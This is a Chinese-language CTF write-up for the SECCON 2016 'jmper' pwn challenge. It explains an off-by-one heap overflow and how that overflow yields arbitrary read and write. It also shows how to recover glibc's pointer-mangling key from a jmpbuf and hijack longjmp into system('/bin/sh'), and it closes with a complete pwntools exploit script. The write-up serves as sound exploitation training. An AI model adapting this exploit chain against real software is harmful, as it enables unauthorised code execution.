前言

这个是 seccon-ctf-quals-2016 的一个题,利用方式还是挺特殊的记录一下。

题目链接

http://t.cn/RnfeHLv

正文

首先看看程序的安全措施

haclh@ubuntu:~/workplace/jmper$ checksec jmper
[*] '/home/haclh/workplace/jmper/jmper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

开了 Full RELRO, 所以不能修改 got 表了。

分配了两个大内存,一个作为一个全局表,用于存放程序中用的结构体指针, 一个作为 jmpbuf, 用于在 longjmp 时跳转回来。

接下来就是 f 函数,程序主要的逻辑在这里面。

** Add student**

最多的可以创建 0x1dstudent, 如果已经创建满了的话就 longjmp 返回到 main 函数结束程序。创建时会分配两个堆内存。

结构体类型大概为

分配第一个 student 时的 内存布局为

** Name student**

输入 id, 然后在 myclass 里面找到相应的地址,取出 name_ptr ,向里面写入内容,注意循环条件

for ( i = 0; i <= 0x20; ++i )

我们可以写入 0x21 个字节,我们分配的内存为 0x20, 可以有 一字节的 溢出,不过这里我们不能控制 分配的大小以及 释放堆块, 无法使用 overlap-heap 利用。继续往下看。

Write memo

类似的操作,依旧可以溢出 memo 的 一个字节, 在 memo 后面存放的是 name_ptr 所以我们可以修改 name_ptr 的最低字节.

有一个小知识,如果内存分配的顺序大小不变,各个内存块相对于堆基地址的偏移是固定的,所以修改 name_ptr 的最低字节,我们可以使得 name_ptr 指向和 它距离较近的堆块。

这里的话直接修改为下一个堆块的 name_ptr 的地址, 然后利用 name student 就可以修改下一个堆块的 name_ptr,再利用后面的  Show Name 功能就可以实现 任意地址读写。

以后通过

set_name(0, p64(addr))
getname(1)

就可以实现任意地址读

通过

set_name(0, p64(addr))
set_name(1, data)

就可以实现任意地址写

现在的问题是往哪写,写什么。

当新增的student的人数到限制后,会调用longjmp, 我们来看看 调用 longjmp 时做了什么

进入函数时 rdijmpbuf  的地址,可以看到,在 jmpbuf + 0x38 处存放了加密后的 rip, 进入 longjmp会先解密 出 rip 然后跳转。

mov     rdx, [rdi+38h]
ror rdx, 11h
xor rdx, fs:30h

jmpbuf 在堆中,如果我们可以 拿到 fs:30h 然后修改 jmpbuf + 0x38 ,我们就可以控制执行流了。

longjmp 跳转的地址其实就是 调用 setjmp 的下一条指令(0x400C31

又由于 xor 是可逆的,所以我们可以通过

mov     rdx, [rdi+38h]
ror rdx, 11h
xor rdx, 0x400C31

得到 fs:30h

至于重新的加密 rip 的过程,可以看 setjmp 的实现

所以总的利用思路

  • 利用 off-by-one 获取任意地址读写的能力
  • 利用 student 2name_ptr 泄露堆地址
  • 获取 jmpbuf + 0x38 的值,计算 fs:30h 的值
  • 重新计算值写入 jmpbuf + 0x38 , 同时往 jmpbuf 开头写入 ``/bin/sh\x00

参考

https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100

最后的 exp:

#/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import * # context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper") def ror(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[-count:] + ":::" + src[:64 - count])
return int(src[-count:] + src[:64 - count],2) def rol(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[:count] + ":::" + src[count:])
# print(src[count:] + src[:count])
return int(src[count:] + src[:count],2) def add():
p.recvuntil("Bye :)")
p.sendline("1") def set_name(index, name):
p.recvuntil("Bye :)")
p.sendline("2")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input name:")
p.sendline(name) def write_memo(index, data):
p.recvuntil("Bye :)")
p.sendline("3")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input memo:")
p.sendline(data) def getname(index):
p.recvuntil("Bye :)")
p.sendline("4")
p.recvuntil("ID:")
p.sendline(str(index)) gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
''') pause() add() # get stu 0
set_name(0, "/bin/sh\x00")
write_memo(0, "b"*8) add() # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8) write_memo(0, "b"*32 + "\x78") # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause() getname(0)
heap = u64(p.recv(3) + "\x00" * 5) - 656
log.info("heap的基地址: " + hex(heap))
pause() set_name(0, p64(0x0601FA8+1))
log.info("1's name_ptr ---> printf@got+1")
pause() getname(1)
printf_addr = u64("\x00" + p.recv(5) + "\x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0 log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause() jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38 # 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31 new_saved_rip = rol(system ^ xor_key, 0x11) log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip: " + hex(new_saved_rip) )
pause() set_name(1,p64(new_saved_rip)) set_name(0, p64(jmpbuf))
set_name(1,"/bin/sh\x00") log.info("set jmpbuf: /bin/sh\x00.....")
pause() for x in xrange(0x1e - 2):
add() log.info("call longjmp")
pause()
add()
p.interactive()

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